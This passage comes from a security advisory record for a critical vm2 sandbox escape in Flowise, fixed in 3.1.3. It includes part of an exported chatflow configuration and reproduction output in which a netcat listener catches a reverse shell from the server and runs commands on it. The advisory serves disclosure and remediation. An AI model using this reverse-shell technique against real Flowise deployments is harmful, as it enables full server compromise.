endpoint\\\",\\\"filePath\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/chatmodels/ChatOpenAI/ChatOpenAI.js\\\",\\\"icon\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/chatmodels/ChatOpenAI/openai.svg\\\",\\\"id\\\":\\\"chatOpenAI_0\\\",\\\"inputAnchors\\\":[{\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-cache-BaseCache\\\",\\\"label\\\":\\\"Cache\\\",\\\"name\\\":\\\"cache\\\",\\\"optional\\\":true,\\\"type\\\":\\\"BaseCache\\\"}],\\\"inputParams\\\":[{\\\"credentialNames\\\":[\\\"openAIApi\\\"],\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-credential-credential\\\",\\\"label\\\":\\\"Connect Credential\\\",\\\"name\\\":\\\"credential\\\",\\\"type\\\":\\\"credential\\\"},{\\\"default\\\":\\\"gpt-4o-mini\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-modelName-asyncOptions\\\",\\\"label\\\":\\\"Model Name\\\",\\\"loadMethod\\\":\\\"listModels\\\",\\\"name\\\":\\\"modelName\\\",\\\"type\\\":\\\"asyncOptions\\\"},{\\\"default\\\":0.9,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-temperature-number\\\",\\\"label\\\":\\\"Temperature\\\",\\\"name\\\":\\\"temperature\\\",\\\"optional\\\":true,\\\"step\\\":0.1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-streaming-boolean\\\",\\\"label\\\":\\\"Streaming\\\",\\\"name\\\":\\\"streaming\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"default\\\":false,\\\"description\\\":\\\"Allow image input. Refer to the <a href=\\\\\\\"https://docs.flowiseai.com/using-flowise/uploads#image\\\\\\\" target=\\\\\\\"_blank\\\\\\\">docs</a> for more details.\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-allowImageUploads-boolean\\\",\\\"label\\\":\\\"Allow Image Uploads\\\",\\\"name\\\":\\\"allowImageUploads\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":false,\\\"description\\\":\\\"Whether the model supports reasoning. Only applicable for reasoning models (gpt-5 and o-series models only)\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-reasoning-boolean\\\",\\\"label\\\":\\\"Reasoning\\\",\\\"name\\\":\\\"reasoning\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Constrains effort on reasoning. Only applicable for reasoning models (gpt-5 and o-series models only)\\\",\\\"display\\\":false,\\\"id\\\":\\\"chatOpenAI_0-input-reasoningEffort-options\\\",\\\"label\\\":\\\"Reasoning Effort\\\",\\\"name\\\":\\\"reasoningEffort\\\",\\\"options\\\":[{\\\"label\\\":\\\"Low\\\",\\\"name\\\":\\\"low\\\"},{\\\"label\\\":\\\"Medium\\\",\\\"name\\\":\\\"medium\\\"},{\\\"label\\\":\\\"High\\\",\\\"name\\\":\\\"high\\\"},{\\\"description\\\":\\\"X-High is supported for all models after gpt-5.1-codex-max\\\",\\\"label\\\":\\\"X-High\\\",\\\"name\\\":\\\"xhigh\\\"}],\\\"show\\\":{\\\"reasoning\\\":true},\\\"type\\\":\\\"options\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"A summary of the reasoning performed by the model. This can be useful for debugging and understanding the model's reasoning process\\\",\\\"display\\\":false,\\\"id\\\":\\\"chatOpenAI_0-input-reasoningSummary-options\\\",\\\"label\\\":\\\"Reasoning Summary\\\",\\\"name\\\":\\\"reasoningSummary\\\",\\\"options\\\":[{\\\"label\\\":\\\"Auto\\\",\\\"name\\\":\\\"auto\\\"},{\\\"label\\\":\\\"Concise\\\",\\\"name\\\":\\\"concise\\\"},{\\\"label\\\":\\\"Detailed\\\",\\\"name\\\":\\\"detailed\\\"}],\\\"show\\\":{\\\"reasoning\\\":true},\\\"type\\\":\\\"options\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-maxTokens-number\\\",\\\"label\\\":\\\"Max Tokens\\\",\\\"name\\\":\\\"maxTokens\\\",\\\"optional\\\":true,\\\"step\\\":1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-topP-number\\\",\\\"label\\\":\\\"Top Probability\\\",\\\"name\\\":\\\"topP\\\",\\\"optional\\\":true,\\\"step\\\":0.1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-frequencyPenalty-number\\\",\\\"label\\\":\\\"Frequency Penalty\\\",\\\"name\\\":\\\"frequencyPenalty\\\",\\\"optional\\\":true,\\\"step\\\":0.1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-presencePenalty-number\\\",\\\"label\\\":\\\"Presence Penalty\\\",\\\"name\\\":\\\"presencePenalty\\\",\\\"optional\\\":true,\\\"step\\\":0.1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-timeout-number\\\",\\\"label\\\":\\\"Timeout\\\",\\\"name\\\":\\\"timeout\\\",\\\"optional\\\":true,\\\"step\\\":1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Whether the model supports the `strict` argument when passing in tools. If not specified, the `strict` argument will not be passed to OpenAI.\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-strictToolCalling-boolean\\\",\\\"label\\\":\\\"Strict Tool Calling\\\",\\\"name\\\":\\\"strictToolCalling\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"List of stop words to use when generating. Use comma to separate multiple stop words.\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-stopSequence-string\\\",\\\"label\\\":\\\"Stop Sequence\\\",\\\"name\\\":\\\"stopSequence\\\",\\\"optional\\\":true,\\\"rows\\\":4,\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Override the default base URL for the API, e.g., \\\\\\\"https://api.example.com/v2/\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-basepath-string\\\",\\\"label\\\":\\\"Base Path\\\",\\\"name\\\":\\\"basepath\\\",\\\"optional\\\":true,\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Default headers to include with every request to the API.\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-baseOptions-json\\\",\\\"label\\\":\\\"Base Options\\\",\\\"name\\\":\\\"baseOptions\\\",\\\"optional\\\":true,\\\"type\\\":\\\"json\\\"}],\\\"inputs\\\":{\\\"allowImageUploads\\\":\\\"\\\",\\\"baseOptions\\\":\\\"\\\",\\\"basepath\\\":\\\"\\\",\\\"cache\\\":\\\"\\\",\\\"frequencyPenalty\\\":\\\"\\\",\\\"maxTokens\\\":\\\"\\\",\\\"modelName\\\":\\\"gpt-4o-mini\\\",\\\"presencePenalty\\\":\\\"\\\",\\\"reasoning\\\":\\\"\\\",\\\"reasoningEffort\\\":\\\"\\\",\\\"reasoningSummary\\\":\\\"\\\",\\\"stopSequence\\\":\\\"\\\",\\\"streaming\\\":true,\\\"strictToolCalling\\\":\\\"\\\",\\\"temperature\\\":0.9,\\\"timeout\\\":\\\"\\\",\\\"topP\\\":\\\"\\\"},\\\"label\\\":\\\"OpenAI\\\",\\\"loadMethods\\\":{},\\\"name\\\":\\\"chatOpenAI\\\",\\\"outputAnchors\\\":[{\\\"description\\\":\\\"Wrapper around OpenAI large language models that use the Chat endpoint\\\",\\\"id\\\":\\\"chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable\\\",\\\"label\\\":\\\"ChatOpenAI\\\",\\\"name\\\":\\\"chatOpenAI\\\",\\\"type\\\":\\\"ChatOpenAI | BaseChatOpenAI | BaseChatModel | BaseLanguageModel | Runnable\\\"}],\\\"outputs\\\":{},\\\"selected\\\":false,\\\"type\\\":\\\"ChatOpenAI\\\",\\\"version\\\":8.3},\\\"dragging\\\":false,\\\"height\\\":676,\\\"id\\\":\\\"chatOpenAI_0\\\",\\\"position\\\":{\\\"x\\\":150.47864305480687,\\\"y\\\":603.5006568904221},\\\"positionAbsolute\\\":{\\\"x\\\":150.47864305480687,\\\"y\\\":603.5006568904221},\\\"selected\\\":false,\\\"type\\\":\\\"customNode\\\",\\\"width\\\":300},{\\\"data\\\":{\\\"baseClasses\\\":[\\\"AgentExecutor\\\",\\\"BaseChain\\\",\\\"Runnable\\\"],\\\"category\\\":\\\"Agents\\\",\\\"description\\\":\\\"Agent that uses Function Calling to pick the tools and args to call\\\",\\\"filePath\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/ToolAgent/ToolAgent.js\\\",\\\"icon\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/ToolAgent/toolAgent.png\\\",\\\"id\\\":\\\"toolAgent_0\\\",\\\"inputAnchors\\\":[{\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-tools-Tool\\\",\\\"label\\\":\\\"Tools\\\",\\\"list\\\":true,\\\"name\\\":\\\"tools\\\",\\\"type\\\":\\\"Tool\\\"},{\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-memory-BaseChatMemory\\\",\\\"label\\\":\\\"Memory\\\",\\\"name\\\":\\\"memory\\\",\\\"type\\\":\\\"BaseChatMemory\\\"},{\\\"description\\\":\\\"Only compatible with models that are capable of function calling: ChatOpenAI, ChatMistral, ChatAnthropic, ChatGoogleGenerativeAI, ChatVertexAI, GroqChat\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-model-BaseChatModel\\\",\\\"label\\\":\\\"Tool Calling Chat Model\\\",\\\"name\\\":\\\"model\\\",\\\"type\\\":\\\"BaseChatModel\\\"},{\\\"description\\\":\\\"Override existing prompt with Chat Prompt Template. Human Message must includes {input} variable\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-chatPromptTemplate-ChatPromptTemplate\\\",\\\"label\\\":\\\"Chat Prompt Template\\\",\\\"name\\\":\\\"chatPromptTemplate\\\",\\\"optional\\\":true,\\\"type\\\":\\\"ChatPromptTemplate\\\"},{\\\"description\\\":\\\"Detect text that could generate harmful output and prevent it from being sent to the language model\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-inputModeration-Moderation\\\",\\\"label\\\":\\\"Input Moderation\\\",\\\"list\\\":true,\\\"name\\\":\\\"inputModeration\\\",\\\"optional\\\":true,\\\"type\\\":\\\"Moderation\\\"}],\\\"inputParams\\\":[{\\\"additionalParams\\\":true,\\\"default\\\":\\\"You are a helpful AI assistant.\\\",\\\"description\\\":\\\"If Chat Prompt Template is provided, this will be ignored\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-systemMessage-string\\\",\\\"label\\\":\\\"System Message\\\",\\\"name\\\":\\\"systemMessage\\\",\\\"optional\\\":true,\\\"rows\\\":4,\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-maxIterations-number\\\",\\\"label\\\":\\\"Max Iterations\\\",\\\"name\\\":\\\"maxIterations\\\",\\\"optional\\\":true,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":false,\\\"description\\\":\\\"Stream detailed intermediate steps during agent execution\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-enableDetailedStreaming-boolean\\\",\\\"label\\\":\\\"Enable Detailed Streaming\\\",\\\"name\\\":\\\"enableDetailedStreaming\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"}],\\\"inputs\\\":{\\\"chatPromptTemplate\\\":\\\"\\\",\\\"enableDetailedStreaming\\\":\\\"\\\",\\\"inputModeration\\\":\\\"\\\",\\\"maxIterations\\\":\\\"\\\",\\\"memory\\\":\\\"{{bufferMemory_0.data.instance}}\\\",\\\"model\\\":\\\"{{chatOpenAI_0.data.instance}}\\\",\\\"systemMessage\\\":\\\"You are a helpful AI assistant.\\\",\\\"tools\\\":[\\\"{{agentAsTool_0.data.instance}}\\\"]},\\\"label\\\":\\\"Tool Agent\\\",\\\"name\\\":\\\"toolAgent\\\",\\\"outputAnchors\\\":[{\\\"description\\\":\\\"Agent that uses Function Calling to pick the tools and args to call\\\",\\\"id\\\":\\\"toolAgent_0-output-toolAgent-AgentExecutor|BaseChain|Runnable\\\",\\\"label\\\":\\\"AgentExecutor\\\",\\\"name\\\":\\\"toolAgent\\\",\\\"type\\\":\\\"AgentExecutor | BaseChain | Runnable\\\"}],\\\"outputs\\\":{},\\\"selected\\\":false,\\\"type\\\":\\\"AgentExecutor\\\",\\\"version\\\":2},\\\"dragging\\\":false,\\\"height\\\":492,\\\"id\\\":\\\"toolAgent_0\\\",\\\"position\\\":{\\\"x\\\":1078.1036951401863,\\\"y\\\":523.9186243849886},\\\"positionAbsolute\\\":{\\\"x\\\":1078.1036951401863,\\\"y\\\":523.9186243849886},\\\"selected\\\":false,\\\"type\\\":\\\"customNode\\\",\\\"width\\\":300}],\\\"edges\\\":[{\\\"id\\\":\\\"agentAsTool_0-agentAsTool_0-output-agentAsTool-AgentAsTool|Tool-toolAgent_0-toolAgent_0-input-tools-Tool\\\",\\\"source\\\":\\\"agentAsTool_0\\\",\\\"sourceHandle\\\":\\\"agentAsTool_0-output-agentAsTool-AgentAsTool|Tool\\\",\\\"target\\\":\\\"toolAgent_0\\\",\\\"targetHandle\\\":\\\"toolAgent_0-input-tools-Tool\\\",\\\"type\\\":\\\"buttonedge\\\"},{\\\"id\\\":\\\"bufferMemory_0-bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory-toolAgent_0-toolAgent_0-input-memory-BaseChatMemory\\\",\\\"source\\\":\\\"bufferMemory_0\\\",\\\"sourceHandle\\\":\\\"bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory\\\",\\\"target\\\":\\\"toolAgent_0\\\",\\\"targetHandle\\\":\\\"toolAgent_0-input-memory-BaseChatMemory\\\",\\\"type\\\":\\\"buttonedge\\\"},{\\\"id\\\":\\\"chatOpenAI_0-chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable-toolAgent_0-toolAgent_0-input-model-BaseChatModel\\\",\\\"source\\\":\\\"chatOpenAI_0\\\",\\\"sourceHandle\\\":\\\"chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable\\\",\\\"target\\\":\\\"toolAgent_0\\\",\\\"targetHandle\\\":\\\"toolAgent_0-input-model-BaseChatModel\\\",\\\"type\\\":\\\"buttonedge\\\"}],\\\"viewport\\\":{\\\"x\\\":372.22296982366913,\\\"y\\\":-109.94336492566799,\\\"zoom\\\":0.8069922237942956}}\"}\n```\n\n6. Send a chat message using the Chatflow and observe the reverse shell payload being executed outside the `vm2` sandbox, as shown in the terminal output below.\n\n```terminal\n$ nc -lnvp 1337\nListening on 0.0.0.0 1337\nConnection received on 172.17.0.2 45533\nid\nuid=1000(node) gid=1000(node) groups=1000(node),1000(node)\nls -al\ntotal 36\ndrwxrwxr-x    1 node     node          4096 Apr  9 07:49 .\ndrwxrwxr-x    1 node     node          4096 Apr 11 10:03 ..\n-rw-rw-r--    1 node     node            21 Apr  9 07:49 .gitattributes\n-rwxrwxr-x    1 node     node           419 Apr  9 07:49 dev\n-rwxrwxr-x    1 node     node            30 Apr  9 07:49 dev.cmd\n-rwxr-xr-x    1 node     node           143 Apr  9 07:49 run\n-rwxrwxr-x    1 node     node            30 Apr  9 07:49 run.cmd\ncd /usr/src/flowise\nls\nCODE_OF_CONDUCT.md\nCONTRIBUTING.md\nDockerfile\nLICENSE.md\nREADME.md\nSECURITY.md\nartillery-load-test.yml\nassets\ndocker\ni18n\nimages\nmetrics\nnode_modules\npackage.json\npackages\npnpm-lock.yaml\npnpm-workspace.yaml\nturbo.json\ncat .git/HEAD\nref: refs/heads/main\ncat .git/refs/heads/main\ndddfb3c90eec900d747790a439bd362a764039cd <1>\n```\n<1> Confirmation that the sandbox escape impacts Flowise commit `dddfb3c90eec900d747790a439bd362a764039cd`.\n\nIII. Impact\n\nThis sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise that uses the default `vm2` sandbox, resulting in full compromise of the application.\n\nIV.  Solution\n\nThe current maintainers of the `vm2` sandbox strongly advise against executing untrusted code within it due to security risks (https://github.com/patriksimek/vm2?tab=readme-ov-file#important-security-disclaimer). To prevent JavaScript sandbox escapes in Flowise, a more secure alternative, such as https://github.com/laverdet/isolated-vm, should be used.\n\nUpdating to the latest version of `vm2` sandbox will not patch this sandbox escape vulnerability.\n\nV.   References\n\n* `vm2` Security Disclaimer: https://github.com/patriksimek/vm2?tab=readme-ov-file#important-security-disclaimer\n* `isolated-vm`: https://github.com/laverdet/isolated-vm",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise-components"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wg86-r78f-74mp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/pull/6417"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/commit/3f257bdc8196082a178da7134a075824401b13b9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-95" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-04T15:13:33Z",
    "nvd_published_at" : null
  }
}